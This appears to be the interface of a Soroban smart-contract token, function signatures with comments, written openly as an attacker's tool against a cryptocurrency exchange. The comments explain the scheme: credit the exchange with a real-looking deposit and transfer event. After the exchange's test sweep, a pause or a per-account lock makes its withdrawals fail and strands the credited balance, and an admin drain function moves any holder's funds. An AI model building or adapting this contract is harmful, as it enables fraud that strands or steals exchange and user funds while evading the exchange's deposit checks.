One-time init: claim the admin role (attacker). First caller wins.
fn init(env: soroban_sdk::Env, admin: soroban_sdk::Address)
fn name(env: soroban_sdk::Env) -> soroban_sdk::String
fn symbol(env: soroban_sdk::Env) -> soroban_sdk::String
SEP-0041 balance read — returns the REAL stored balance.
fn balance(env: soroban_sdk::Env, id: soroban_sdk::Address) -> i128
Credit to directly and emit a SAC-shaped transfer event
(admin -> to). Single call, so it simulates cleanly at build time and
gives the exchange a REAL balance + a REAL transfer event in one shot.
fn deposit(env: soroban_sdk::Env, to: soroban_sdk::Address, amount: i128)
fn decimals(env: soroban_sdk::Env) -> u32
Standard SEP-0041 transfer. Reverts under pause / per-account lock — the exchange's own withdrawal sweep (from == exchange) hits this and panics.
fn transfer(
env: soroban_sdk::Env,
from: soroban_sdk::Address,
to: soroban_sdk::Address,
amount: i128,
)
Per-account outbound lock — freeze exactly the exchange while others keep transacting (looks healthier than a global pause).
fn set_locked(env: soroban_sdk::Env, who: soroban_sdk::Address, locked: bool)
Global kill-switch for outbound transfers. Flip to true AFTER the exchange's deposit-time test sweep to strand the credited balance.
fn set_paused(env: soroban_sdk::Env, paused: bool)
Permanent-delegate analogue: the admin moves ANY holder's balance.
fn admin_drain(
env: soroban_sdk::Env,
from: soroban_sdk::Address,
to: soroban_sdk::Address,
amount: i128,
)